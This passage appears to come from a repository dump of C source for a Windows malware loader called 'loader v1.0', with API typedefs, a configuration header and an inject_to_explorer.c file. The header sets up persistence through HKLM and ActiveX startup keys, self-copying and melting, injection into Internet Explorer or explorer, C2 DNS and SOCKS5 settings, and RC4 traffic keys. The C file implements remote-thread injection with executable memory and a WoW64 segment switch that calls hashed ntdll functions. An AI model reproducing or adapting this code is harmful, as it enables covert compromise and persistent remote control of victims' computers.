for info */\n    __out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */\n);\ntypedef BOOL(APIENTRY *_VerQueryValueA)(__in LPCVOID pBlock,\n                                        __in LPCSTR lpSubBlock,\n                                        LPVOID *lplpBuffer, __out PUINT puLen);\ntypedef int(__cdecl *_wnsprintfA)(__out_ecount(cchDest) LPSTR pszDest,\n                                  __in int cchDest,\n                                  __in __format_string LPCSTR pszFmt, ...);\ntypedef BOOL(WINAPI *_GetComputerNameW)(__out_ecount_part_opt(*nSize,\n                                                              *nSize + 1)\n                                            LPWSTR lpBuffer,\n                                        __inout LPDWORD nSize);\ntypedef BOOL(WINAPI *_GetUserNameW)(__out_ecount_part_opt(*pcbBuffer,\n                                                          *pcbBuffer)\n                                        LPWSTR lpBuffer,\n                                    __inout LPDWORD pcbBuffer);\ntypedef BOOL(WINAPI *_GlobalMemoryStatusEx)(__out LPMEMORYSTATUSEX lpBuffer);\ntypedef int(WINAPI *_GetLocaleInfoA)(__in LCID     Locale,\n\t\t\t\t\t\t\t\t\t __in LCTYPE   LCType,\n\t\t\t\t\t\t\t\t\t __out_ecount_opt(cchData) LPSTR  lpLCData,\n\t\t\t\t\t\t\t\t\t __in int      cchData);\ntypedef int(WINAPI *_GetLocaleInfoW)(__in LCID Locale, __in LCTYPE LCType,\n                                     __out_ecount_opt(cchData) LPWSTR lpLCData,\n                                     __in int cchData);\ntypedef LPSTR(WINAPI *_lstrcatA)(__inout LPSTR lpString1,\n\t\t\t\t\t\t\t\t__in    LPCSTR lpString2\n\t\t\t\t\t\t\t\t);\ntypedef LPSTR(WINAPI *_lstrcatW)(__inout LPWSTR lpString1,\n\t\t\t\t\t\t\t\t__in    LPCWSTR lpString2\n\t\t\t\t\t\t\t\t);\ntypedef LSTATUS(APIENTRY *_RegQueryValueExA)(__in HKEY hKey,\n\t\t\t\t\t\t\t\t\t\t\t __in_opt LPCSTR lpValueName,\n\t\t\t\t\t\t\t\t\t\t\t __reserved LPDWORD lpReserved,\n\t\t\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpType,\n\t\t\t\t\t\t\t\t\t\t\t __out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,\n\t\t\t\t\t\t\t\t\t\t\t __inout_opt LPDWORD lpcbData\n\t\t\t\t\t\t\t\t\t\t\t );\ntypedef BOOL(WINAPI *_CreatePipe)(__out_ecount_full(1) PHANDLE hReadPipe,\n\t\t\t\t\t\t\t\t  __out_ecount_full(1) PHANDLE hWritePipe,\n\t\t\t\t\t\t\t\t  __in_opt LPSECURITY_ATTRIBUTES lpPipeAttributes,\n\t\t\t\t\t\t\t\t  __in     DWORD nSize\n\t\t\t\t\t\t\t\t  );\ntypedef BOOL(WINAPI *_GetExitCodeProcess)(__in  HANDLE hProcess, __out LPDWORD lpExitCode);\ntypedef BOOL(WINAPI *_PeekNamedPipe)(__in      HANDLE hNamedPipe,\n\t\t\t\t\t\t\t\t\t __out_bcount_part_opt(nBufferSize, *lpBytesRead) LPVOID lpBuffer,\n\t\t\t\t\t\t\t\t\t __in      DWORD nBufferSize,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpBytesRead,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpTotalBytesAvail,\n\t\t\t\t\t\t\t\t\t __out_opt LPDWORD lpBytesLeftThisMessage\n\t\t\t\t\t\t\t\t\t );\ntypedef BOOL(WINAPI *_ReadFile)(\n    __in        HANDLE hFile,\n    __out_bcount_part_opt(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer,\n    __in        DWORD nNumberOfBytesToRead,\n    __out_opt   LPDWORD lpNumberOfBytesRead,\n    __inout_opt LPOVERLAPPED lpOverlapped\n    );\ntypedef BOOL (WINAPI *_WriteFile)(\n    __in        HANDLE hFile,\n    __in_bcount_opt(nNumberOfBytesToWrite) LPCVOID lpBuffer,\n    __in        DWORD nNumberOfBytesToWrite,\n    __out_opt   LPDWORD lpNumberOfBytesWritten,\n    __inout_opt LPOVERLAPPED lpOverlapped\n    );\ntypedef BOOL(WINAPI *_TerminateProcess)(\n    __in HANDLE hProcess,\n    __in UINT uExitCode\n    );\ntypedef HBITMAP(WINAPI *_CreateCompatibleBitmap)( __in HDC hdc, __in int cx, __in int cy);\ntypedef int(WINAPI *_GetDIBits)( __in HDC hdc, __in HBITMAP hbm, __in UINT start, __in UINT cLines,  __out_opt LPVOID lpvBits, __inout_xcount(sizeof(BITMAPINFOHEADER)) LPBITMAPINFO lpbmi, __in UINT usage);  // SAL actual size of lpbmi is computed from structure elements\ntypedef BOOL(WINAPI *_DeleteObject)( __in HGDIOBJ ho);\ntypedef HBITMAP(WINAPI *_CreateDIBSection)(__in_opt HDC hdc, __in CONST BITMAPINFO *lpbmi, __in UINT usage, __deref_opt_out VOID **ppvBits, __in_opt HANDLE hSection, __in DWORD offset);\ntypedef HDC(WINAPI *_CreateCompatibleDC)( __in_opt HDC hdc);\ntypedef HGDIOBJ(WINAPI *_SelectObject)(__in HDC hdc, __in HGDIOBJ h);\ntypedef BOOL(WINAPI *_DeleteDC)( __in HDC hdc);\ntypedef BOOL(WINAPI *_SetRect)(\n    __out LPRECT lprc,\n    __in int xLeft,\n    __in int yTop,\n    __in int xRight,\n    __in int yBottom);\ntypedef DWORD(WINAPI *_GetCurrentThreadId)(\n    VOID\n    );\ntypedef BOOL(WINAPI *_GetUserObjectInformationA)(\n    __in HANDLE hObj,\n    __in int nIndex,\n    __out_bcount_opt(nLength) PVOID pvInfo,\n    __in DWORD nLength,\n    __out_opt LPDWORD lpnLengthNeeded);\ntypedef int(WINAPI *_lstrcmpiA)(\n    __in LPCSTR lpString1,\n    __in LPCSTR lpString2\n    );\ntypedef BOOL(WINAPI *_SetThreadDesktop)(\n     __in HDESK hDesktop);\ntypedef BOOL(WINAPI *_CloseDesktop)(\n    __in HDESK hDesktop);\ntypedef int(WINAPI *_GetSystemMetrics)(\n    __in int nIndex);\ntypedef HWND(WINAPI *_GetDesktopWindow)(\n    VOID);\ntypedef HDC(WINAPI *_GetDC)(\n    __in_opt HWND hWnd);\ntypedef int(WINAPI *_ReleaseDC)(\n    __in_opt HWND hWnd,\n    __in HDC hDC);\ntypedef BOOL(WINAPI *_SetRectEmpty)(\n    __out LPRECT lprc);\ntypedef BOOL(WINAPI *_BitBlt)( __in HDC hdc, __in int x, __in int y, __in int cx, __in int cy, __in_opt HDC hdcSrc, __in int x1, __in int y1, __in DWORD rop);\ntypedef BOOL(WINAPI *_GetCursorPos)(\n    __out LPPOINT lpPoint);\ntypedef BOOL(WINAPI *_StretchBlt)(__in HDC hdcDest, __in int xDest, __in int yDest, __in int wDest, __in int hDest, __in_opt HDC hdcSrc, __in int xSrc, __in int ySrc, __in int wSrc, __in int hSrc, __in DWORD rop);\ntypedef HDESK(WINAPI *_GetThreadDesktop)(\n    __in DWORD dwThreadId);\ntypedef HDESK(WINAPI *_OpenInputDesktop)(\n    __in DWORD dwFlags,\n    __in BOOL fInherit,\n    __in ACCESS_MASK dwDesiredAccess);\ntypedef UINT(WINAPI *_GetSystemDirectoryA)(\n    LPSTR lpBuffer,\n    __in UINT uSize\n    );\n\tUINT\ntypedef (WINAPI *_GetWindowsDirectoryW)(\n    LPWSTR lpBuffer,\n    __in UINT uSize\n    );\ntypedef BOOL(WINAPI *_CopyFileW)(\n    __in LPCWSTR lpExistingFileName,\n    __in LPCWSTR lpNewFileName,\n    __in BOOL bFailIfExists\n    );\ntypedef BOOL(WINAPI *_DeleteFileW)(\n    _In_ LPCWSTR lpFileName\n    );"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/global_data.h",
    "content": "#ifndef GLOBAL_DATA_H\n#define GLOBAL_DATA_H\n\n#include <stdio.h>\n#include <stddef.h>\n#include <stdint.h>\n#include <stdbool.h>\n\n#include <tchar.h>\n#include <windows.h>\n#include <TlHelp32.h>\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\n\ntypedef struct global_data global_data_t, *global_data_p;\ntypedef struct extra_function extra_function_t;\ntypedef struct explorer_thread_param explorer_thread_param_t;\n\n#define COPY_METHOD_NONE 0\n#define COPY_METHOD_TO_WINDOWS 1\n#define COPY_METHOD_TO_SYSTEM 2\n\n#define INJECT_METHOD_IEXPLORER 0\n#define INJECT_METHOD_CUSTOM 1\n\n#define INJECT_TIMES 4\n#define INJECT_INTERVAL 1000 * 7\n\n#include \"apis.inc\"\n#include \"shellcode.inc\"\n\n#pragma pack(push)\n#pragma pack(1)\nstruct extra_function {\n  union {\n    u64 ptr64;\n    struct {\n      u32 ptr32;\n      u32 dummy;\n    };\n  };\n  u16 size;\n};\n\n#ifdef _WIN64\ntypedef struct x64_global_data x64_global_data_t;\n\nstruct x64_global_data {\n  HMODULE kernel32;\n  _LoadLibraryA xLoadLibraryA;\n  _GetProcAddress xGetProcAddress;\n  _CloseHandle xCloseHandle;\n  _OpenProcess xOpenProcess;\n  _lstrlenW xlstrlenW;\n  _lstrcatW xlstrcatW;\n  _lstrcpyW xlstrcpyW;\n  _lstrcmpiW xlstrcmpiW;\n  _Sleep xSleep;\n  _VirtualAllocEx xVirtualAllocEx;\n  _WriteProcessMemory xWriteProcessMemory;\n  _WaitForSingleObject xWaitForSingleObject;\n  _CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;\n  _Process32FirstW xProcess32FirstW;\n  _Process32NextW xProcess32NextW;\n  _ExpandEnvironmentStringsW xExpandEnvironmentStringsW;\n  _CreateProcessW xCreateProcessW;\n  _CreateRemoteThread xCreateRemoteThread;\n  _GetSystemDirectoryW xGetSystemDirectoryW;\n  _GetWindowsDirectoryW xGetWindowsDirectoryW;\n  _CopyFileW xCopyFileW;\n  _DeleteFileW xDeleteFileW;\n  _GetProcessHeap xGetProcessHeap;\n  _HeapAlloc xHeapAlloc;\n  _HeapFree xHeapFree;\n  _CreateMutexA xCreateMutexA;\n  _GetLastError xGetLastError;\n  _GetCurrentProcess xGetCurrentProcess;\n\n  HMODULE ntdll;\n  _RtlZeroMemory xRtlZeroMemory;\n  _RtlMoveMemory xRtlMoveMemory;\n\n  HMODULE advapi32;\n  _OpenProcessToken xOpenProcessToken;\n  _LookupPrivilegeValueA xLookupPrivilegeValueA;\n  _AdjustTokenPrivileges xAdjustTokenPrivileges;\n  _RegOpenKeyExA xRegOpenKeyExA;\n  _RegCreateKeyExW xRegCreateKeyExW;\n  _RegSetValueExW xRegSetValueExW;\n  _RegCloseKey xRegCloseKey;\n\n  wchar_t *expand_str;\n  char *sedebugname;\n};\n\n#endif\n\nstruct global_data {\n  u8 is_wow64;\n  wchar_t loader_path[256];\n\n  char mutex_name[100];\n  u8 persistence;\n\n  u8 melt;\n  u8 copy_method;\n  wchar_t copy_to[100];\n\n  u8 startup_hklm;\n  wchar_t nklm_name[100];\n\n  u8 startup_acitvex;\n  wchar_t activex_name[100];\n\n  u8 inject_to_ie;\n\n  u8 inject_to_custom;\n  wchar_t custom_process_name[100];\n\n  wchar_t group[12];\n  wchar_t id[12];\n\n  u8 dns_list[256];\n\n  u8 socks5;\n  u8 socks5_dns[100];\n  u16 socks5_port;\n  u8 socks5_user[100];\n  u8 socks5_pass[100];\n\n  u8 rc4_key[260];\n\n  u8 send_sbox[256];\n  u8 recv_sbox[256];\n#ifdef _WIN64\n  u32 kernel32;\n  u32 xLoadLibraryA, xGetProcAddress, xGetCurrentProcess, xCloseHandle, xOpenProcess, xlstrlenA, xlstrlenW, xlstrcatW, xlstrcpyA, \n    xlstrcpyW, xlstrcmpiW, xHeapAlloc, xHeapReAlloc, xHeapFree, xGetProcessHeap, xGetModuleHandleA, xGetModuleFileNameW, xCreateMutexA, \n    xGetLastError, xSleep, xVirtualAllocEx, xVirtualFreeEx, xWriteProcessMemory, xWaitForSingleObject, xCreateToolhelp32Snapshot, \n    xProcess32FirstW, xProcess32NextW, xExpandEnvironmentStringsW, xCreateProcessW, xCreateRemoteThread, xGetSystemDirectoryW, \n    xGetWindowsDirectoryW, xCopyFileW, xDeleteFileW;\n\n  u32 ntdll;\n  u32 xRtlZeroMemory, xRtlMoveMemory, xRtlCompressBuffer, xRtlGetCompressionWorkSpaceSize, xRtlDecompressBuffer;\n  \n  u32 advapi32;\n  u32 xOpenProcessToken, xLookupPrivilegeValueA, xAdjustTokenPrivileges, xRegOpenKeyExA, xRegCreateKeyExW, xRegSetValueExW, \n    xRegQueryValueExW, xRegCloseKey;\n\n  u32 ws2_32;\n  u32 xWSAStartup, xWSACleanup, xhtons, xinet_addr, xgethostbyname, xsocket, xclosesocket, xconnect, xsetsockopt, xsend, xrecv, xselect;\n#else\n  HMODULE kernel32;\n  _LoadLibraryA xLoadLibraryA;\n  _GetProcAddress xGetProcAddress;\n  _GetCurrentProcess xGetCurrentProcess;\n  _CloseHandle xCloseHandle;\n  _OpenProcess xOpenProcess;\n  _lstrlenA xlstrlenA;\n  _lstrlenW xlstrlenW;\n  _lstrcatW xlstrcatW;\n  _lstrcpyA xlstrcpyA;\n  _lstrcpyW xlstrcpyW;\n  _lstrcmpiW xlstrcmpiW;\n  _HeapAlloc xHeapAlloc;\n  _HeapReAlloc xHeapReAlloc;\n  _HeapFree xHeapFree;\n  _GetProcessHeap xGetProcessHeap;\n  _GetModuleHandleA xGetModuleHandleA;\n  _GetModuleFileNameW xGetModuleFileNameW;\n  _CreateMutexA xCreateMutexA;\n  _GetLastError xGetLastError;\n  _Sleep xSleep;\n  _VirtualAllocEx xVirtualAllocEx;\n  _VirtualFreeEx xVirtualFreeEx;\n  _WriteProcessMemory xWriteProcessMemory;\n  _WaitForSingleObject xWaitForSingleObject;\n  _CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;\n  _Process32FirstW xProcess32FirstW;\n  _Process32NextW xProcess32NextW;\n  _ExpandEnvironmentStringsW xExpandEnvironmentStringsW;\n  _CreateProcessW xCreateProcessW;\n  _CreateRemoteThread xCreateRemoteThread;\n  _GetSystemDirectoryW xGetSystemDirectoryW;\n  _GetWindowsDirectoryW xGetWindowsDirectoryW;\n  _CopyFileW xCopyFileW;\n  _DeleteFileW xDeleteFileW;\n\n  HMODULE ntdll;\n  _RtlZeroMemory xRtlZeroMemory;\n  _RtlMoveMemory xRtlMoveMemory;\n  _RtlCompressBuffer xRtlCompressBuffer;\n  _RtlGetCompressionWorkSpaceSize xRtlGetCompressionWorkSpaceSize;\n  _RtlDecompressBuffer xRtlDecompressBuffer;\n\n  HMODULE advapi32;\n  _OpenProcessToken xOpenProcessToken;\n  _LookupPrivilegeValueA xLookupPrivilegeValueA;\n  _AdjustTokenPrivileges xAdjustTokenPrivileges;\n  _RegOpenKeyExA xRegOpenKeyExA;\n  _RegCreateKeyExW xRegCreateKeyExW;\n  _RegSetValueExW xRegSetValueExW;\n  _RegQueryValueExW xRegQueryValueExW;\n  _RegCloseKey xRegCloseKey;\n\n  HMODULE ws2_32;\n  _WSAStartup xWSAStartup;\n  _WSACleanup xWSACleanup;\n  _htons xhtons;\n  _inet_addr xinet_addr;\n  _gethostbyname xgethostbyname;\n  _socket xsocket;\n  _closesocket xclosesocket;\n  _connect xconnect;\n  _setsockopt xsetsockopt;\n  _send xsend;\n  _recv xrecv;\n  _select xselect;\n#endif\n  \n  u8 extra_data[1024];\n\n#ifdef _WIN64\n  u32 get_proc_from_hash, rc4_init, rc4_crypt, alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\n    compress, decompress, wait_buffer, recv_data, send_data, connect_server;\n#else\n  _get_proc_from_hash get_proc_from_hash;\n  _rc4_init rc4_init;\n  _rc4_crypt rc4_crypt;\n  _alloc_memory alloc_memory;\n  _realloc_memory realloc_memory;\n  _free_memory free_memory;\n  _alloc_executable_memory alloc_executable_memory;\n  _free_executable_memory free_executable_memory;\n  _compress compress;\n  _decompress decompress;\n  _wait_buffer wait_buffer;\n  _recv_data recv_data;\n  _send_data send_data;\n  void *connect_server;   // ޷shellcodeʹ\n#endif\n\n#ifdef _WIN64\n  extra_function_t connect_by_socks5, inject_to_explorer, add_startup_hklm_x86, add_startup_activex_x86, copy_self_x86, \n    find_process_by_name_x86, inject_to_exploer_code_x86;\n\n  HMODULE(*get_kernel32_base_x64)();\n  u16 get_kernel32_base_x64_size;\n\n  HMODULE(*get_ntdll_base_x64)();\n  u16 get_ntdll_base_x64_size;\n\n  HMODULE(*get_proc_from_hash_x64)(HMODULE, u32, _GetProcAddress);\n  u16 get_proc_from_hash_x64_size;\n\n  void(*add_startup_hklm_x64)(struct x64_global_data *, struct global_data *);\n  u16 add_startup_hklm_x64_size;\n\n  void(*add_startup_activex_x64)(struct x64_global_data *, struct global_data *);\n  u16 add_startup_activex_x64_size;\n\n  void(*copy_self_x64)(struct x64_global_data *, struct global_data *);\n  u16 copy_self_x64_size;\n\n  u32(__stdcall *find_process_by_name_x64)(struct x64_global_data *, wchar_t *);\n  u16 find_process_by_name_x64_size;\n\n  extra_function_t inject_to_explorer_code_x64;\n#else\n  extra_function_t connect_by_socks5, inject_to_explorer;\n  \n  void(__stdcall *add_startup_hklm_x86)(struct global_data *);\n  u32 dummy0;\n  u16 add_startup_hklm_x86_size;\n\n  void(__stdcall *add_startup_activex_x86)(struct global_data *);\n  u32 dummy1;\n  u16 add_startup_activex_x86_size;\n\n  void(__stdcall *copy_self_x86)(struct global_data *);\n  u32 dummy2;\n  u16 copy_self_x86_size;\n\n  u32(__stdcall *find_process_by_name_x86)(global_data_p, wchar_t *);\n  u32 dummy3;\n  u16 find_process_by_name_x86_size;\n\n  extra_function_t inject_to_explorer_code_x86, get_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64, add_startup_hklm_x64, \n    add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64;\n#endif\n};\n\nstruct explorer_thread_param {\n  global_data_t global_data;\n  u64 thread_main;\n  u16 thread_main_size;\n};\n#pragma pack(pop)\n\n#endif  // GLOBAL_DATA_H"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/inject_to_explorer.c",
    "content": "#include \"shellcodes.h\"\n\n#ifndef _WIN64\n\nextern bool __stdcall inject_to_explorer(global_data_t *global_data, wchar_t *process_name, void *thread_main, u32 thread_main_size);\nextern HANDLE wow64_create_remote_thread(global_data_t *global_data, HANDLE process, u64 thread, u64 param);\nu64 inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size);\nextern u64 wow64_inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size);\nextern u64 wow64_call(u64 func, int argC, ...);\nextern u32 find_process_by_name(global_data_t *global_data);\nextern void inject_to_explorer_end();\n\n#define NtAllocateVirtualMemory_Hash  0x7E6E5D9D\n#define NtWriteVirtualMemory_Hash     0x79BB568F\n#define RtlCreateUserThread_Hash      0x2309A86F\n\n// from wow64ext\n#define _RAX  0\n#define _RCX  1\n#define _RDX  2\n#define _RBX  3\n#define _RSP  4\n#define _RBP  5\n#define _RSI  6\n#define _RDI  7\n#define _R8   8\n#define _R9   9\n#define _R10 10\n#define _R11 11\n#define _R12 12\n#define _R13 13\n#define _R14 14\n#define _R15 15\n\n#ifndef STATUS_SUCCESS\n#   define STATUS_SUCCESS 0\n#endif\n\n#define emit(a) __asm __emit(a)\n#define X64_Push(r) emit(0x48 | ((r) >> 3)) emit(0x50 | ((r) & 7))\n#define X64_Pop(r) emit(0x48 | ((r) >> 3)) emit(0x58 | ((r) & 7))\n#define REX_W emit(0x48) __asm\n\n#define x64_start() \\\n                                {\\\n    emit(0x6a) emit(0x33)                       /* push 0x33 */\\\n    emit(0xe8) emit(0) emit(0) emit(0) emit(0)  /* call $+5 */\\\n    emit(0x83) emit(0x4) emit(0x24) emit(0x5)   /* add dword [esp], 0x5 */\\\n    emit(0xcb)                                  /* retf */\\\n                                }\n\n#define x64_end() \\\n                                {\\\n    emit(0xe8) emit(0) emit(0) emit(0) emit(0)                                      /* call $+5 */\\\n    emit(0xc7) emit(0x44) emit(0x24) emit(0x4) emit(0x23) emit(0) emit(0) emit(0)   /* mov dword [rsp + 4], 0x23 */\\\n    emit(0x83) emit(0x4) emit(0x24) emit(0xd)                                       /* add dword [rsp], 0xd */\\\n    emit(0xcb)                                                                      /* retf */\\\n                                }\n\ntypedef union reg64 {\n  u64 v;\n  u32 dw[2];\n} reg64;\n\n#pragma optimize(\"ts\", on)\n\nbool __stdcall inject_to_explorer(global_data_t *global_data, wchar_t *process_name, void *thread_main, u32 thread_main_size) {\n  u32 target = global_data->find_process_by_name_x86(global_data, process_name);\n\n  while (target == 0) {\n    global_data->xSleep(1000 * 3);\n    target = global_data->find_process_by_name_x86(global_data, process_name);\n  }\n\n  HANDLE process = global_data->xOpenProcess(PROCESS_ALL_ACCESS, false, target);\n  if (process == 0) return false;\n\n  explorer_thread_param_t *remote_thread_param = global_data->alloc_memory(global_data, sizeof(explorer_thread_param_t));\n\n  global_data->xRtlZeroMemory(remote_thread_param, sizeof(explorer_thread_param_t));\n  global_data->xRtlMoveMemory(&remote_thread_param->global_data, global_data, sizeof(global_data_t));\n\n  // ޸global_data extrac\n  extra_function_t *extrac_function = &remote_thread_param->global_data.connect_by_socks5;\n  for (u32 i = 0; i < 15; i++) {\n    if (extrac_function->ptr64 != 0) {\n      extrac_function->ptr64 = inject_memory(global_data, process, (unsigned char *)extrac_function->ptr32, extrac_function->size);\n      if (extrac_function->ptr64 == 0) {\n        global_data->free_memory(global_data, remote_thread_param);\n        return false;\n      }\n      extrac_function++;\n    }\n  }\n\n  remote_thread_param->thread_main = inject_memory(global_data, process, (unsigned char *)thread_main, thread_main_size);\n  if (remote_thread_param->thread_main == 0) {\n    global_data->free_memory(global_data, remote_thread_param);\n    return false;\n  }\n  remote_thread_param->thread_main_size = thread_main_size;\n\n  u64 remote_param = inject_memory(global_data, process, (unsigned char *)remote_thread_param, sizeof(explorer_thread_param_t));\n  u64 remote_thread = inject_memory(global_data, process,\n    global_data->is_wow64 ? (unsigned char *)global_data->inject_to_explorer_code_x64.ptr32 : (unsigned char *)global_data->inject_to_explorer_code_x86.ptr32,\n    global_data->is_wow64 ? global_data->inject_to_explorer_code_x64.size : global_data->inject_to_explorer_code_x86.size);\n  if (remote_param == 0 || remote_thread == 0) {\n    global_data->free_memory(global_data, remote_thread_param);\n    return false;\n  }\n\n  HANDLE thread = global_data->is_wow64 ?\n    wow64_create_remote_thread(global_data, process, remote_thread, remote_param) :\n    global_data->xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, (void *)remote_param, 0, 0);\n  global_data->xCloseHandle(thread);\n\n  global_data->free_memory(global_data, remote_thread_param);\n  return thread != 0;\n}\n\nu64 inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size) {\n  if (global_data->is_wow64) {\n    return wow64_inject_memory(global_data, process, buf, size);\n  }\n\n  void *remote = global_data->xVirtualAllocEx(process, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n  if (remote == 0) return 0;\n\n  u32 writed = 0;\n  global_data->xWriteProcessMemory(process, remote, buf, size, &writed);\n\n  return (u64)remote;\n}\n\nu64 wow64_inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size) {\n  u64 NtAllocateVirtualMemory, NtWriteVirtualMemory, ntdll_base;\n\n  ntdll_base = wow64_call(global_data->get_ntdll_base_x64.ptr64, 0);\n  NtAllocateVirtualMemory = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3, ntdll_base, \n    (u64)NtAllocateVirtualMemory_Hash, (uint64_t)0);\n  NtWriteVirtualMemory = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3, ntdll_base, (u64)NtWriteVirtualMemory_Hash, (uint64_t)0);\n\n  if ((NtAllocateVirtualMemory & NtWriteVirtualMemory) == 0) return 0;\n\n  u64 target_address = 0;\n  u64 temp_size = size;\n  u64 ret = wow64_call(NtAllocateVirtualMemory, 6, (u64)process, (u64)&target_address, (u64)0, (u64)&temp_size,\n    (u64)MEM_TOP_DOWN | MEM_COMMIT, (u64)PAGE_EXECUTE_READWRITE);\n  if (ret != STATUS_SUCCESS) return 0;\n\n  u64 writed = 0;\n  ret = wow64_call(NtWriteVirtualMemory, 5, (u64)process, target_address, (u64)buf, (u64)size, (u64)&writed);\n  if (ret != STATUS_SUCCESS) return 0;\n\n  return target_address;\n}\n\nHANDLE __cdecl wow64_create_remote_thread(global_data_t *global_data, HANDLE process, u64 thread, u64 param) {\n  u64 RtlCreateUserThread, ntdll_base, ret;\n\n  ntdll_base = wow64_call(global_data->get_ntdll_base_x64.ptr64, 0);\n  RtlCreateUserThread = wow64_call(global_data->get_proc_from_hash_x64.ptr64, 3, \n    ntdll_base,\n    (u64)RtlCreateUserThread_Hash, \n    (u64)0);\n  if (RtlCreateUserThread == 0) return 0;\n\n  u64 thread_handle = 0;\n  ret = wow64_call(RtlCreateUserThread, 10,\n    (u64)process,\n    (u64)0,\n    (u64)FALSE,\n    (u64)0,\n    (u64)0,\n    (u64)0,\n    thread,\n    param,    // param\n    (u64)&thread_handle,\n    (u64)0);\n  if (ret != STATUS_SUCCESS) return 0;\n\n  return (HANDLE)thread_handle;\n}\n\n#pragma warning(push)\n#pragma warning(disable : 4409)\nu64 wow64_call(uint64_t func, int argC, ...) {\n  va_list args;\n  va_start(args, argC);\n  reg64 _rcx = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };\n  reg64 _rdx = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };\n  reg64 _r8 = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };\n  reg64 _r9 = { (argC > 0) ? argC--, va_arg(args, u64) : 0 };\n  reg64 _rax = { 0 };\n\n  reg64 restArgs = { (u64)&va_arg(args, u64) };\n\n  // conversion to QWORD for easier use in inline assembly\n  reg64 _argC = { (uint64_t)argC };\n  uint32_t back_esp = 0;\n  uint16_t back_fs = 0;\n\n  __asm\n  {\n    ;// reset FS segment, to properly handle RFG\n    mov    back_fs, fs\n      mov    eax, 0x2B\n      mov    fs, ax\n\n      ;// keep original esp in back_esp variable\n    mov    back_esp, esp\n\n      ;// align esp to 0x10, without aligned stack some syscalls may return errors !\n    ;// (actually, for syscalls it is sufficient to align to 8, but SSE opcodes \n    ;// requires 0x10 alignment), it will be further adjusted according to the\n    ;// number of arguments above 4\n    and    esp, 0xFFFFFFF0\n\n      x64_start();\n\n    ;// below code is compiled as x86 inline asm, but it is executed as x64 code\n    ;// that's why it need sometimes REX_W() macro, right column contains detailed\n    ;// transcription how it will be interpreted by CPU\n\n    ;// fill first four arguments\n    REX_W mov    ecx, _rcx.dw[0];// mov     rcx, qword ptr [_rcx]\n    REX_W mov    edx, _rdx.dw[0];// mov     rdx, qword ptr [_rdx]\n    push   _r8.v;// push    qword ptr [_r8]\n    X64_Pop(_R8);;// pop     r8\n    push   _r9.v;// push    qword ptr [_r9]\n    X64_Pop(_R9);;// pop     r9\n    ;//\n    REX_W mov    eax, _argC.dw[0];// mov     rax, qword ptr [_argC]\n    ;// \n    ;// final stack adjustment, according to the    ;//\n    ;// number of arguments above 4                 ;// \n    test   al, 1;// test    al, 1\n    jnz    _no_adjust;// jnz     _no_adjust\n    sub    esp, 8;// sub     rsp, 8\n  _no_adjust:;//\n    ;// \n    push   edi;// push    rdi\n    REX_W mov    edi, restArgs.dw[0];// mov     rdi, qword ptr [restArgs]\n    ;// \n    ;// put rest of arguments on the stack          ;// \n    REX_W test   eax, eax;// test    rax, rax\n    jz     _ls_e;// je      _ls_e\n    REX_W lea    edi, dword ptr[edi + 8 * eax - 8];// lea     rdi, [rdi + rax*8 - 8]\n    ;// \n  _ls:;// \n    REX_W test   eax, eax;// test    rax, rax\n    jz     _ls_e;// je      _ls_e\n    push   dword ptr[edi];// push    qword ptr [rdi]\n    REX_W sub    edi, 8;// sub     rdi, 8\n    REX_W sub    eax, 1;// sub     rax, 1\n    jmp    _ls;// jmp     _ls\n  _ls_e:;// \n    ;// \n    ;// create stack space for spilling registers   ;// \n    REX_W sub    esp, 0x20;// sub     rsp, 20h\n    ;// \n    call   func;// call    qword ptr [func]\n    ;// \n    ;// cleanup stack                               ;// \n    REX_W mov    ecx, _argC.dw[0];// mov     rcx, qword ptr [_argC]\n    REX_W lea    esp, dword ptr[esp + 8 * ecx + 0x20];// lea     rsp, [rsp + rcx*8 + 20h]\n    ;// \n    pop    edi;// pop     rdi\n    ;// \n    // set return value                             ;// \n    REX_W mov    _rax.dw[0], eax;// mov     qword ptr [_rax], rax\n\n    x64_end();\n\n    mov    ax, ds\n      mov    ss, ax\n      mov    esp, back_esp\n\n      ;// restore FS segment\n    mov    ax, back_fs\n      mov    fs, ax\n  }\n  return _rax.v;\n}\n#pragma warning(pop)\n\nvoid inject_to_explorer_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\nvoid inject_to_explorer_save(const char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)inject_to_explorer;\n  end = (char *)inject_to_explorer_end;\n\n  printf(\"[*] inject_to_explorer code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n\n  u16 temp = offsetof(global_data_t, inject_to_explorer);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n  \n  temp = end - start;\n  fwrite(&temp, 1, sizeof(temp), f);\n  \n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save inject_to_explorer to %s success.\\n\", filename);\n}\n\n#endif"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/inject_to_explorer_code_x86.c",
